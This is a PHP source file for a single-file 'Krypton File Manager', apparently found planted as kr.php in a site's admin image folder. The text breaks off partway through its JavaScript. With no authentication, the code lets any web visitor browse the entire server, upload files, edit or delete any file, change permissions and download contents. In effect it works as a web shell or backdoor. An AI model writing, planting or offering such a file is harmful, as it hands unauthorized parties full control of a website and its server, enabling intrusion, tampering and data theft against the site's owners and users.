Current File : /home/bassmoto/public_html/admin/img/vehicleimages/kr.php |
<?php
/**
* Krypton File Manager - OOP Version
* A single-file PHP file manager with full server access and enhanced features
*/
// Start session
session_start();
/**
* Configuration class for application settings
*/
class Config {
const VERSION = '2.0.0';
const ENCRYPTION_KEY = 'zctNrBz!wuDveHPpFhjDC=&pvWdY4w';
const SESSION_TIMEOUT = 1800; // 30 minutes
const DEFAULT_ENCRYPTION_KEY = 'change_this_to_a_random_string';
}
/**
* Security manager for encryption and session handling
*/
class SecurityManager {
private $encryptionKey;
public function __construct($encryptionKey = null) {
$this->encryptionKey = $encryptionKey ?: Config::ENCRYPTION_KEY;
}
/**
* Check if default encryption key is being used
*/
public function hasDefaultEncryptionKey(): bool {
return $this->encryptionKey === Config::DEFAULT_ENCRYPTION_KEY;
}
/**
* Check and handle session timeout
*/
public function checkSessionTimeout(): void {
if (isset($_SESSION['last_activity']) &&
(time() - $_SESSION['last_activity'] > Config::SESSION_TIMEOUT)) {
session_unset();
session_destroy();
}
$_SESSION['last_activity'] = time();
}
/**
* Encrypt a file path
*/
public function encryptPath(string $path): string {
$iv = openssl_random_pseudo_bytes(16);
$encrypted = openssl_encrypt($path, 'AES-256-CBC', $this->encryptionKey, 0, $iv);
return base64_encode($encrypted . '::' . base64_encode($iv));
}
/**
* Decrypt a file path
*/
public function decryptPath(string $encryptedPath): string {
try {
$decoded = base64_decode($encryptedPath);
if ($decoded === false || strpos($decoded, '::') === false) {
return getcwd();
}
list($encrypted_data, $iv_b64) = explode('::', $decoded, 2);
$iv = base64_decode($iv_b64);
if ($iv === false || strlen($iv) !== 16) {
return getcwd();
}
$decrypted = openssl_decrypt($encrypted_data, 'AES-256-CBC', $this->encryptionKey, 0, $iv);
return $decrypted !== false ? $decrypted : getcwd();
} catch (Exception $e) {
return getcwd();
}
}
}
/**
* File utility class for file operations and formatting
*/
class FileUtils {
/**
* Format file size in human-readable format
*/
public static function formatFileSize(int $bytes): string {
if ($bytes >= 1073741824) {
return number_format($bytes / 1073741824, 2) . ' GB';
} elseif ($bytes >= 1048576) {
return number_format($bytes / 1048576, 2) . ' MB';
} elseif ($bytes >= 1024) {
return number_format($bytes / 1024, 2) . ' KB';
}
return $bytes . ' bytes';
}
/**
* Get file permissions in Unix format
*/
public static function getFilePermissions(string $file): string {
$perms = fileperms($file);
// File type
$info = '';
if (($perms & 0xC000) == 0xC000)
$info = 's'; // Socket
elseif (($perms & 0xA000) == 0xA000)
$info = 'l'; // Symbolic Link
elseif (($perms & 0x8000) == 0x8000)
$info = '-'; // Regular
elseif (($perms & 0x6000) == 0x6000)
$info = 'b'; // Block special
elseif (($perms & 0x4000) == 0x4000)
$info = 'd'; // Directory
elseif (($perms & 0x2000) == 0x2000)
$info = 'c'; // Character special
elseif (($perms & 0x1000) == 0x1000)
$info = 'p'; // FIFO pipe
else
$info = 'u'; // Unknown
// Owner permissions
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x') :
(($perms & 0x0800) ? 'S' : '-'));
// Group permissions
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x') :
(($perms & 0x0400) ? 'S' : '-'));
// World permissions
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x') :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
/**
* Get file extension
*/
public static function getFileExtension(string $filename): string {
return strtolower(pathinfo($filename, PATHINFO_EXTENSION));
}
/**
* Check if file is editable
*/
public static function isEditableFile(string $filename): bool {
return true; // Allow editing of all files
}
}
/**
* File item representation
*/
class FileItem {
public $name;
public $path;
public $encryptedPath;
public $isDirectory;
public $size;
public $permissions;
public $lastModified;
public $isEditable;
public function __construct(string $name, string $path, SecurityManager $security) {
$this->name = $name;
$this->path = $path;
$this->encryptedPath = $security->encryptPath($path);
$this->isDirectory = is_dir($path);
$this->size = $this->isDirectory ? '-' : FileUtils::formatFileSize(filesize($path));
$this->permissions = FileUtils::getFilePermissions($path);
$this->lastModified = date('Y-m-d H:i:s', filemtime($path));
$this->isEditable = !$this->isDirectory && FileUtils::isEditableFile($name);
}
}
/**
* Directory manager for file operations
*/
class DirectoryManager {
private $securityManager;
private $currentPath;
public function __construct(SecurityManager $securityManager) {
$this->securityManager = $securityManager;
$this->currentPath = $this->initializeCurrentPath();
}
/**
* Initialize current path from session or default
*/
private function initializeCurrentPath(): string {
$defaultPath = getcwd();
if (isset($_SESSION['current_path']) &&
file_exists($_SESSION['current_path']) &&
is_dir($_SESSION['current_path'])) {
return $_SESSION['current_path'];
}
return $defaultPath;
}
/**
* Get current path
*/
public function getCurrentPath(): string {
return $this->currentPath;
}
/**
* Set current path
*/
public function setCurrentPath(string $path): bool {
if (file_exists($path) && is_dir($path)) {
$this->currentPath = $path;
$_SESSION['current_path'] = $path;
return true;
}
return false;
}
/**
* Get directory contents as FileItem objects
*/
public function getDirectoryContents(): array {
$items = [];
if (!is_dir($this->currentPath)) {
return $items;
}
$handle = opendir($this->currentPath);
if (!$handle) {
return $items;
}
while (false !== ($entry = readdir($handle))) {
if ($entry === "." || $entry === "..") {
continue;
}
$fullPath = $this->currentPath . '/' . $entry;
try {
$items[] = new FileItem($entry, $fullPath, $this->securityManager);
} catch (Exception $e) {
// Skip files that can't be accessed
continue;
}
}
closedir($handle);
// Sort items: directories first, then files
usort($items, function ($a, $b) {
if ($a->isDirectory && !$b->isDirectory)
return -1;
if (!$a->isDirectory && $b->isDirectory)
return 1;
return strcasecmp($a->name, $b->name);
});
return $items;
}
/**
* Get breadcrumb navigation
*/
public function getBreadcrumbs(): array {
$breadcrumbs = [];
$pathParts = explode('/', $this->currentPath);
$buildPath = '';
foreach ($pathParts as $part) {
if (empty($part)) {
$buildPath = '/';
$breadcrumbs[] = [
'name' => 'Root',
'path' => $buildPath,
'encryptedPath' => $this->securityManager->encryptPath($buildPath)
];
} else {
$buildPath .= ($buildPath === '/') ? $part : '/' . $part;
$breadcrumbs[] = [
'name' => $part,
'path' => $buildPath,
'encryptedPath' => $this->securityManager->encryptPath($buildPath)
];
}
}
return $breadcrumbs;
}
/**
* Navigate to a path
*/
public function navigateTo(string $encryptedPath): bool {
$path = $this->securityManager->decryptPath($encryptedPath);
return $this->setCurrentPath($path);
}
}
/**
* File operations handler
*/
class FileOperations {
private $securityManager;
private $directoryManager;
public function __construct(SecurityManager $securityManager, DirectoryManager $directoryManager) {
$this->securityManager = $securityManager;
$this->directoryManager = $directoryManager;
}
/**
* Upload a file
*/
public function uploadFile(array $fileData): array {
if (!isset($fileData['error']) || $fileData['error'] !== UPLOAD_ERR_OK) {
return ['success' => false, 'message' => 'No file selected or upload error.'];
}
$uploadPath = $this->directoryManager->getCurrentPath() . '/' . basename($fileData['name']);
if (move_uploaded_file($fileData['tmp_name'], $uploadPath)) {
return ['success' => true, 'message' => 'File uploaded successfully.'];
}
return ['success' => false, 'message' => 'Failed to upload file.'];
}
/**
* Delete a file or directory
*/
public function delete(string $encryptedPath): array {
$path = $this->securityManager->decryptPath($encryptedPath);
if (!file_exists($path)) {
return ['success' => false, 'message' => 'File or directory does not exist.'];
}
if (is_dir($path)) {
if (rmdir($path)) {
return ['success' => true, 'message' => 'Directory deleted successfully.'];
}
return ['success' => false, 'message' => 'Failed to delete directory. It may not be empty.'];
} else {
if (unlink($path)) {
return ['success' => true, 'message' => 'File deleted successfully.'];
}
return ['success' => false, 'message' => 'Failed to delete file.'];
}
}
/**
* Rename a file or directory
*/
public function rename(string $encryptedOldPath, string $newName): array {
$oldPath = $this->securityManager->decryptPath($encryptedOldPath);
if (!file_exists($oldPath)) {
return ['success' => false, 'message' => 'File or directory does not exist.'];
}
$newPath = dirname($oldPath) . '/' . $newName;
if (rename($oldPath, $newPath)) {
return ['success' => true, 'message' => 'Renamed successfully.'];
}
return ['success' => false, 'message' => 'Failed to rename.'];
}
/**
* Change file permissions
*/
public function changePermissions(string $encryptedPath, string $permissions): array {
$path = $this->securityManager->decryptPath($encryptedPath);
if (!file_exists($path)) {
return ['success' => false, 'message' => 'File or directory does not exist.'];
}
$mode = octdec($permissions);
if (chmod($path, $mode)) {
return ['success' => true, 'message' => 'Permissions changed successfully.'];
}
return ['success' => false, 'message' => 'Failed to change permissions.'];
}
/**
* Get file content for editing
*/
public function getFileContent(string $encryptedPath): string {
$path = $this->securityManager->decryptPath($encryptedPath);
if (file_exists($path) && !is_dir($path) && FileUtils::isEditableFile(basename($path))) {
return file_get_contents($path);
}
return "Error: Cannot read file.";
}
/**
* Save file content
*/
public function saveFileContent(string $encryptedPath, string $content): array {
$path = $this->securityManager->decryptPath($encryptedPath);
if (!file_exists($path) || is_dir($path)) {
return ['success' => false, 'message' => 'File does not exist.'];
}
if (file_put_contents($path, $content) !== false) {
return ['success' => true, 'message' => 'File saved successfully.'];
}
return ['success' => false, 'message' => 'Failed to save file.'];
}
/**
* Create a new file
*/
public function createFile(string $fileName): array {
$filePath = $this->directoryManager->getCurrentPath() . '/' . $fileName;
if (file_exists($filePath)) {
return ['success' => false, 'message' => 'File already exists.'];
}
if (file_put_contents($filePath, '') !== false) {
return ['success' => true, 'message' => 'File created successfully.'];
}
return ['success' => false, 'message' => 'Failed to create file.'];
}
/**
* Create a new folder
*/
public function createFolder(string $folderName): array {
$folderPath = $this->directoryManager->getCurrentPath() . '/' . $folderName;
if (file_exists($folderPath)) {
return ['success' => false, 'message' => 'Folder already exists.'];
}
if (mkdir($folderPath, 0755)) {
return ['success' => true, 'message' => 'Folder created successfully.'];
}
return ['success' => false, 'message' => 'Failed to create folder.'];
}
/**
* Download a file
*/
public function downloadFile(string $encryptedPath): void {
$path = $this->securityManager->decryptPath($encryptedPath);
if (file_exists($path) && !is_dir($path)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($path) . '"');
header('Content-Transfer-Encoding: binary');
header('Expires: 0');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Pragma: public');
header('Content-Length: ' . filesize($path));
ob_clean();
flush();
readfile($path);
exit;
}
}
}
/**
* Request handler for processing HTTP requests
*/
class RequestHandler {
private $securityManager;
private $directoryManager;
private $fileOperations;
private $messages;
public function __construct() {
$this->securityManager = new SecurityManager();
$this->directoryManager = new DirectoryManager($this->securityManager);
$this->fileOperations = new FileOperations($this->securityManager, $this->directoryManager);
$this->messages = ['success' => '', 'error' => ''];
}
/**
* Process incoming requests
*/
public function handleRequest(): void {
$this->securityManager->checkSessionTimeout();
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$this->handlePostRequest();
}
}
/**
* Handle POST requests
*/
private function handlePostRequest(): void {
// Update current path if provided
if (isset($_POST['current_path'])) {
$this->directoryManager->navigateTo($_POST['current_path']);
}
// Handle specific actions
if (isset($_POST['action'])) {
$this->handleAction($_POST['action']);
return;
}
// Handle form submissions
$this->handleFormSubmissions();
}
/**
* Handle AJAX actions
*/
private function handleAction(string $action): void {
switch ($action) {
case 'getContent':
if (isset($_POST['path'])) {
echo $this->fileOperations->getFileContent($_POST['path']);
}
exit;
case 'navigate':
if (isset($_POST['path'])) {
$this->directoryManager->navigateTo($_POST['path']);
}
break;
case 'download':
if (isset($_POST['path'])) {
$this->fileOperations->downloadFile($_POST['path']);
}
break;
}
}
/**
* Handle form submissions
*/
private function handleFormSubmissions(): void {
// File upload
if (isset($_POST['upload']) && isset($_FILES['file'])) {
$result = $this->fileOperations->uploadFile($_FILES['file']);
$this->setMessage($result);
}
// File/directory deletion
if (isset($_POST['delete']) && isset($_POST['path'])) {
$result = $this->fileOperations->delete($_POST['path']);
$this->setMessage($result);
}
// Rename
if (isset($_POST['rename']) && isset($_POST['oldPath']) && isset($_POST['newName'])) {
$result = $this->fileOperations->rename($_POST['oldPath'], $_POST['newName']);
$this->setMessage($result);
}
// Change permissions
if (isset($_POST['changePermissions']) && isset($_POST['permPath']) && isset($_POST['permissions'])) {
$result = $this->fileOperations->changePermissions($_POST['permPath'], $_POST['permissions']);
$this->setMessage($result);
}
// Save file
if (isset($_POST['saveFile']) && isset($_POST['filePath']) && isset($_POST['fileContent'])) {
$result = $this->fileOperations->saveFileContent($_POST['filePath'], $_POST['fileContent']);
$this->setMessage($result);
}
// Create file
if (isset($_POST['createFile']) && isset($_POST['newFileName'])) {
$result = $this->fileOperations->createFile($_POST['newFileName']);
$this->setMessage($result);
}
// Create folder
if (isset($_POST['createFolder']) && isset($_POST['newFolderName'])) {
$result = $this->fileOperations->createFolder($_POST['newFolderName']);
$this->setMessage($result);
}
}
/**
* Set success or error message
*/
private function setMessage(array $result): void {
if ($result['success']) {
$this->messages['success'] = $result['message'];
} else {
$this->messages['error'] = $result['message'];
}
}
/**
* Get messages
*/
public function getMessages(): array {
return $this->messages;
}
/**
* Get security manager
*/
public function getSecurityManager(): SecurityManager {
return $this->securityManager;
}
/**
* Get directory manager
*/
public function getDirectoryManager(): DirectoryManager {
return $this->directoryManager;
}
}
/**
* View renderer for HTML output
*/
class ViewRenderer {
private $requestHandler;
public function __construct(RequestHandler $requestHandler) {
$this->requestHandler = $requestHandler;
}
/**
* Render the complete HTML page
*/
public function render(): void {
$securityManager = $this->requestHandler->getSecurityManager();
$directoryManager = $this->requestHandler->getDirectoryManager();
$messages = $this->requestHandler->getMessages();
$items = $directoryManager->getDirectoryContents();
$breadcrumbs = $directoryManager->getBreadcrumbs();
$currentPath = $directoryManager->getCurrentPath();
$encryptedCurrentPath = $securityManager->encryptPath($currentPath);
$homeDirectory = dirname($_SERVER['SCRIPT_FILENAME']);
$encryptedHomeDirectory = $securityManager->encryptPath($homeDirectory);
$encryptionKeyWarning = $securityManager->hasDefaultEncryptionKey() ?
'Warning: Default encryption key is being used. Please change it for security.' : '';
include $this->getTemplatePath();
}
/**
* Get template file path (inline for single-file solution)
*/
private function getTemplatePath(): string {
return __FILE__;
}
}
// Initialize and run the application
$requestHandler = new RequestHandler();
$requestHandler->handleRequest();
$viewRenderer = new ViewRenderer($requestHandler);
// Extract variables for template
$securityManager = $requestHandler->getSecurityManager();
$directoryManager = $requestHandler->getDirectoryManager();
$messages = $requestHandler->getMessages();
$items = $directoryManager->getDirectoryContents();
$breadcrumbs = $directoryManager->getBreadcrumbs();
$currentPath = $directoryManager->getCurrentPath();
$encryptedCurrentPath = $securityManager->encryptPath($currentPath);
$homeDirectory = dirname($_SERVER['SCRIPT_FILENAME']);
$encryptedHomeDirectory = $securityManager->encryptPath($homeDirectory);
$encryptionKeyWarning = $securityManager->hasDefaultEncryptionKey() ?
'Warning: Default encryption key is being used. Please change it for security.' : '';
$success = $messages['success'];
$error = $messages['error'];
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Krypton File Manager</title>
<style>
/* Base styles and reset */
* {
margin: 0;
padding: 0;
box-sizing: border-box;
font-family: 'Inter', 'Roboto', 'Helvetica', sans-serif;
}
body {
background-image: url('https://w.wallhaven.cc/full/ly/wallhaven-lyq3kq.jpg');
background-size: cover;
background-position: center;
background-repeat: no-repeat;
background-color: #f9f9f9;
color: #333333;
line-height: 1.6;
background-attachment: fixed;
min-height: 100vh;
}
.container {
max-width: 1200px;
margin: 0 auto;
padding: 0 20px;
}
/* Navigation bar */
.navbar {
background-color: #ffffff;
box-shadow: 0 2px 8px rgba(0, 0, 0, 0.05);
padding: 15px 0;
position: sticky;
top: 0;
z-index: 100;
}
.navbar-content {
display: flex;
align-items: center;
justify-content: space-between;
}
.navbar h1 {
color: #333333;
font-size: 1.5rem;
font-weight: 500;
}
.version {
font-size: 0.8rem;
color: #777;
margin-left: 10px;
}
.navbar-actions {
display: flex;
gap: 10px;
}
.home-btn {
background-color: #4a6cf7;
color: white;
border: none;
padding: 8px 15px;
border-radius: 6px;
cursor: pointer;
font-weight: 500;
text-decoration: none;
display: inline-flex;
align-items: center;
transition: all 0.2s ease;
}
.home-btn:hover {
background-color: #3a5ce5;
transform: translateY(-2px);
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
}
.home-icon {
margin-right: 5px;
}
/* Breadcrumb navigation */
.breadcrumb {
display: flex;
align-items: center;
padding: 12px 0;
margin-bottom: 15px;
overflow-x: auto;
white-space: nowrap;
}
.breadcrumb-item {
display: flex;
align-items: center;
}
.breadcrumb-item a {
color: #4a6cf7;
text-decoration: none;
padding: 5px 8px;
border-radius: 4px;
transition: background-color 0.2s;
cursor: pointer;
}
.breadcrumb-item a:hover {
background-color: rgba(74, 108, 247, 0.1);
}
.breadcrumb-separator {
margin: 0 5px;
color: #999;
}
.breadcrumb-current {
font-weight: 500;
padding: 5px 8px;
}
/* Section styling */
.section {
background-color: rgba(255, 255, 255, 0.9);
border-radius: 8px;
box-shadow: 0 2px 8px rgba(0, 0, 0, 0.05);
padding: 20px;
margin-bottom: 20px;
box-shadow: rgba(50, 50, 93, 0.25) 0px 2px 5px -1px, rgba(0, 0, 0, 0.3) 0px 1px 3px -1px;
}
.section-header {
display: flex;
justify-content: space-between;
align-items: center;
margin-bottom: 15px;
}
.section-title {
font-size: 1.1rem;
color: #333333;
font-weight: 500;
}
.section-actions {
display: flex;
gap: 10px;
}
/* Upload form */
.upload-form {
display: flex;
flex-wrap: wrap;
gap: 10px;
align-items: center;
}
.upload-form input[type="file"] {
flex: 1;
min-width: 200px;
padding: 10px;
border: 1px solid #e0e0e0;
border-radius: 6px;
background-color: #ffffff;
}
.btn {
background-color: #4a6cf7;
color: white;
border: none;
padding: 10px 20px;
border-radius: 6px;
cursor: pointer;
font-weight: 500;
transition: all 0.2s ease;
}
.btn:hover {
background-color: #3a5ce5;
transform: translateY(-2px);
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
}
.btn-sm {
padding: 6px 12px;
font-size: 0.9rem;
}
.btn-success {
background-color: #28a745;
}
.btn-success:hover {
background-color: #218838;
}
/* File list table */
.file-table-container {
overflow-x: auto;
}
.file-table {
width: 100%;
border-collapse: collapse;
margin-top: 10px;
}
.file-table th {
background-color: #f5f5f5;
padding: 12px 15px;
text-align: left;
font-weight: 500;
border-bottom: 1px solid #e0e0e0;
position: relative;
}
.file-table td {
padding: 12px 15px;
border-bottom: 1px solid #e0e0e0;
}
.file-table tr:hover {
background-color: #f5f7ff;
}
.file-name {
display: flex;
align-items: center;
gap: 8px;
}
.folder-icon::before {
content: "📁";
}
.file-icon::before {
content: "📄";
}
/* Action buttons */
.action-buttons {
display: flex;
gap: 8px;
}
.action-btn {
background: none;
border: none;
cursor: pointer;
font-size: 1rem;
color: #555;
transition: all 0.2s ease;
width: 28px;
height: 28px;
display: flex;
align-items: center;
justify-content: center;
border-radius: 4px;
}
.action-btn:hover {
background-color: #f0f0f0;
color: #333;
}
/* Modal styles */
.modal {
display: none;
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background-color: rgba(0, 0, 0, 0.5);
z-index: 1000;
justify-content: center;
align-items: center;
}
.modal-content {
background-color: white;
padding: 25px;
border-radius: 8px;
width: 90%;
max-width: 400px;
box-shadow: 0 4px 20px rgba(0, 0, 0, 0.15);
}
.modal-content.modal-lg {
max-width: 800px;
height: 80%;
display: flex;
flex-direction: column;
}
.modal-title {
font-size: 1.2rem;
margin-bottom: 15px;
font-weight: 500;
}
.modal-form {
display: flex;
flex-direction: column;
gap: 15px;
}
.editor-form {
display: flex;
flex-direction: column;
gap: 15px;
flex-grow: 1;
}
.form-group {
display: flex;
flex-direction: column;
gap: 5px;
}
.form-group label {
font-weight: 500;
}
.form-group input {
padding: 8px 12px;
border: 1px solid #ddd;
border-radius: 4px;
}
.form-group textarea {
flex-grow: 1;
padding: 12px;
border: 1px solid #ddd;
border-radius: 4px;
font-family: 'Courier New', monospace;
font-size: 14px;
resize: none;
}
.modal-actions {
display: flex;
justify-content: flex-end;
gap: 10px;
margin-top: 20px;
}
.btn-cancel {
background-color: #f0f0f0;
color: #333;
}
.btn-cancel:hover {
background-color: #e0e0e0;
}
/* Alerts */
.alert {
padding: 12px 15px;
margin-bottom: 15px;
border-radius: 4px;
font-weight: 500;
}
.alert-success {
background-color: #d4edda;
color: #155724;
border: 1px solid #c3e6cb;
}
.alert-error {
background-color: #f8d7da;
color: #721c24;
border: 1px solid #f5c6cb;
}
.alert-warning {
background-color: #fff3cd;
color: #856404;
border: 1px solid #ffeeba;
}
/* Footer */
.footer {
text-align: center;
padding: 20px 0;
color: #777;
font-size: 0.9rem;
}
/* Loading overlay */
.loading-overlay {
display: none;
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background-color: rgba(0, 0, 0, 0.5);
z-index: 2000;
justify-content: center;
align-items: center;
}
.spinner {
width: 50px;
height: 50px;
border: 5px solid #f3f3f3;
border-top: 5px solid #3498db;
border-radius: 50%;
animation: spin 1s linear infinite;
}
@keyframes spin {
0% {
transform: rotate(0deg);
}
100% {
transform: rotate(360deg);
}
}
/* Responsive design */
@media (max-width: 768px) {
.upload-form {
flex-direction: column;
align-items: stretch;
}
.upload-form input[type="file"] {
width: 100%;
}
.action-buttons {
flex-wrap: wrap;
}
.section-header {
flex-direction: column;
align-items: flex-start;
gap: 10px;
}
.section-actions {
width: 100%;
}
.btn {
width: 100%;
}
}
</style>
</head>
<body>
<!-- Loading Overlay -->
<div id="loadingOverlay" class="loading-overlay">
<div class="spinner"></div>
</div>
<!-- Navigation Bar -->
<nav class="navbar">
<div class="container navbar-content">
<h1>Krypton <span class="version">v<?php echo Config::VERSION; ?></span></h1>
<div class="navbar-actions">
<button onclick="navigateTo('<?php echo $encryptedHomeDirectory; ?>')" class="home-btn">
<span class="home-icon">🏠</span> Home
</button>
</div>
</div>
</nav>
<div class="container">
<!-- Alerts -->
<?php if (!empty($encryptionKeyWarning)): ?>
<div class="alert alert-warning"><?php echo $encryptionKeyWarning; ?></div>
<?php endif; ?>
<?php if (!empty($success)): ?>
<div class="alert alert-success"><?php echo $success; ?></div>
<?php endif; ?>
<?php if (!empty($error)): ?>
<div class="alert alert-error"><?php echo $error; ?></div>
<?php endif; ?>
<!-- Breadcrumb Navigation -->
<div class="breadcrumb">
<?php foreach ($breadcrumbs as $index => $crumb): ?>
<?php if ($index > 0): ?>
<span class="breadcrumb-separator">›</span>
<?php endif; ?>
<div class="breadcrumb-item">
<?php if ($index === count($breadcrumbs) - 1): ?>
<span class="breadcrumb-current"><?php echo htmlspecialchars($crumb['name']); ?></span>
<?php else: ?>
<a onclick="navigateTo('<?php echo $crumb['encryptedPath']; ?>')"><?php echo htmlspecialchars($crumb['name']); ?></a>
<?php endif; ?>
</div>
<?php endforeach; ?>
</div>
<!-- Upload Section -->
<section class="section">
<h2 class="section-title">Upload Files</h2>
<form class="upload-form" method="post" enctype="multipart/form-data">
<input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
<input type="file" name="file">
<button type="submit" name="upload" class="btn">Upload File</button>
</form>
</section>
<!-- File List Section -->
<section class="section">
<div class="section-header">
<h2 class="section-title">Files</h2>
<div class="section-actions">
<button class="btn btn-sm btn-success" onclick="showCreateFileModal()">New File</button>
<button class="btn btn-sm" onclick="showCreateFolderModal()">New Folder</button>
</div>
</div>
<div class="file-table-container">
<table class="file-table">
<thead>
<tr>
<th>Filename</th>
<th>Size</th>
<th>Permissions</th>
<th>Last Modified</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
<!-- Parent directory link -->
<?php if ($currentPath !== '/'): ?>
<tr>
<td>
<div class="file-name">
<span class="folder-icon"></span>
<a onclick="navigateTo('<?php echo $securityManager->encryptPath(dirname($currentPath)); ?>')">..</a>
</div>
</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<?php endif; ?>
<!-- File list -->
<?php foreach ($items as $item): ?>
<tr>
<td>
<div class="file-name">
<span class="<?php echo $item->isDirectory ? 'folder-icon' : 'file-icon'; ?>"></span>
<?php if ($item->isDirectory): ?>
<a onclick="navigateTo('<?php echo $item->encryptedPath; ?>')"><?php echo htmlspecialchars($item->name); ?></a>
<?php else: ?>
<?php echo htmlspecialchars($item->name); ?>
<?php endif; ?>
</div>
</td>
<td><?php echo $item->size; ?></td>
<td><?php echo $item->permissions; ?></td>
<td><?php echo $item->lastModified; ?></td>
<td>
<div class="action-buttons">
<?php if (!$item->isDirectory): ?>
<button class="action-btn" title="Download" onclick="downloadFile('<?php echo $item->encryptedPath; ?>')">📥</button>
<?php if ($item->isEditable): ?>
<button class="action-btn" title="Edit" onclick="showEditFileModal('<?php echo addslashes($item->encryptedPath); ?>', '<?php echo addslashes($item->name); ?>')">📝</button>
<?php endif; ?>
<?php endif; ?>
<button class="action-btn" title="Rename" onclick="showRenameModal('<?php echo addslashes($item->encryptedPath); ?>', '<?php echo addslashes($item->name); ?>')">✏️</button>
<button class="action-btn" title="Change Permissions" onclick="showPermissionsModal('<?php echo addslashes($item->encryptedPath); ?>', '<?php echo addslashes($item->name); ?>')">🔒</button>
<form method="post" style="display:inline;" onsubmit="return confirmDelete(this, '<?php echo $item->isDirectory ? 'directory' : 'file'; ?>');">
<input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
<input type="hidden" name="path" value="<?php echo htmlspecialchars($item->encryptedPath); ?>">
<button type="submit" name="delete" class="action-btn" title="Delete">🗑️</button>
</form>
</div>
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
</div>
</section>
<footer class="footer">
Krypton File Manager v<?php echo Config::VERSION; ?> | Single-file PHP File Manager (OOP Version)
</footer>
</div>
<!-- Rename Modal -->
<div id="renameModal" class="modal">
<div class="modal-content">
<h3 class="modal-title">Rename: <span id="renameFileName"></span></h3>
<form class="modal-form" method="post">
<input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
<input type="hidden" id="renameOldPath" name="oldPath" value="">
<div class="form-group">
<label for="renameNewName">New Name:</label>
<input type="text" id="renameNewName" name="newName" required>
</div>
<div class="modal-actions">
<button type="button" class="btn btn-cancel" onclick="hideModal('renameModal')">Cancel</button>
<button type="submit" name="rename" class="btn">Rename</button>
</div>
</form>
</div>
</div>
<!-- Permissions Modal -->
<div id="permissionsModal" class="modal">
<div class="modal-content">
<h3 class="modal-title">Change Permissions: <span id="permissionsFileName"></span></h3>
<form class="modal-form" method="post">
<input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
<input type="hidden" id="permissionsPath" name="permPath" value="">
<div class="form-group">
<label for="permissionsOctal">Permissions (Octal):</label>
<input type="text" id="permissionsOctal" name="permissions" placeholder="e.g., 0755" required>
</div>
<div class="modal-actions">
<button type="button" class="btn btn-cancel" onclick="hideModal('permissionsModal')">Cancel</button>
<button type="submit" name="changePermissions" class="btn">Apply</button>
</div>
</form>
</div>
</div>
<!-- Edit File Modal -->
<div id="editFileModal" class="modal">
<div class="modal-content modal-lg">
<h3 class="modal-title">Edit File: <span id="editFileName"></span></h3>
<form class="editor-form" method="post">
<input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
<input type="hidden" id="editFilePath" name="filePath" value="">
<div class="form-group" style="flex-grow: 1; display: flex; flex-direction: column;">
<textarea id="fileContent" name="fileContent" required></textarea>
</div>
<div class="modal-actions">
<button type="button" class="btn btn-cancel" onclick="hideModal('editFileModal')">Cancel</button>
<button type="submit" name="saveFile" class="btn">Save</button>
</div>
</form>
</div>
</div>
<!-- Create File Modal -->
<div id="createFileModal" class="modal">
<div class="modal-content">
<h3 class="modal-title">Create New File</h3>
<form class="modal-form" method="post">
<input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
<div class="form-group">
<label for="newFileName">File Name:</label>
<input type="text" id="newFileName" name="newFileName" required>
</div>
<div class="modal-actions">
<button type="button" class="btn btn-cancel" onclick="hideModal('createFileModal')">Cancel</button>
<button type="submit" name="createFile" class="btn">Create</button>
</div>
</form>
</div>
</div>
<!-- Create Folder Modal -->
<div id="createFolderModal" class="modal">
<div class="modal-content">
<h3 class="modal-title">Create New Folder</h3>
<form class="modal-form" method="post">
<input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
<div class="form-group">
<label for="newFolderName">Folder Name:</label>
<input type="text" id="newFolderName" name="newFolderName" required>
</div>
<div class="modal-actions">
<button type="button" class="btn btn-cancel" onclick="hideModal('createFolderModal')">Cancel</button>
<button type="submit" name="createFolder" class="btn">Create</button>
</div>
</form>
</div>
</div>
<!-- Hidden form for navigation -->
<form id="navigationForm" method="post" style="display: none;">
<input type="hidden" name="action" value="navigate">
<input type="hidden" id="navigationPath" name="path" value="">
</form>
<!-- Hidden form for download -->
<form id="downloadForm" method="post" style="display: none;">
<input type="hidden" name="action" value="download">
<input type="hidden" id="downloadPath" name="path" value="">
</form>
<script>
// Show loading overlay
function showLoading() {
document.getElementById('loadingOverlay').style.display = 'flex';
}
// Hide loading overlay
function hideLoading() {
document.getElementById('loadingOverlay').style.display = 'none';
}
// Navigation function
function navigateTo(path) {
showLoading();
document.getElementById('navigationPath').value = path;
document.getElementById('navigationForm').submit();
}
// Download function
function downloadFile(path) {
document.getElementById('downloadPath').value = path;
document.getElementById('downloadForm').submit();
}
// Show rename modal
function showRenameModal(path, name) {
document.getElementById('renameFileName').textContent = name;
document.getElementById('renameOldPath').value = path;
document.getElementById('renameNewName').value = name;
document.getElementById('renameModal').style.display = 'flex';
}
// Show permissions modal
function showPermissionsModal(path, name) {
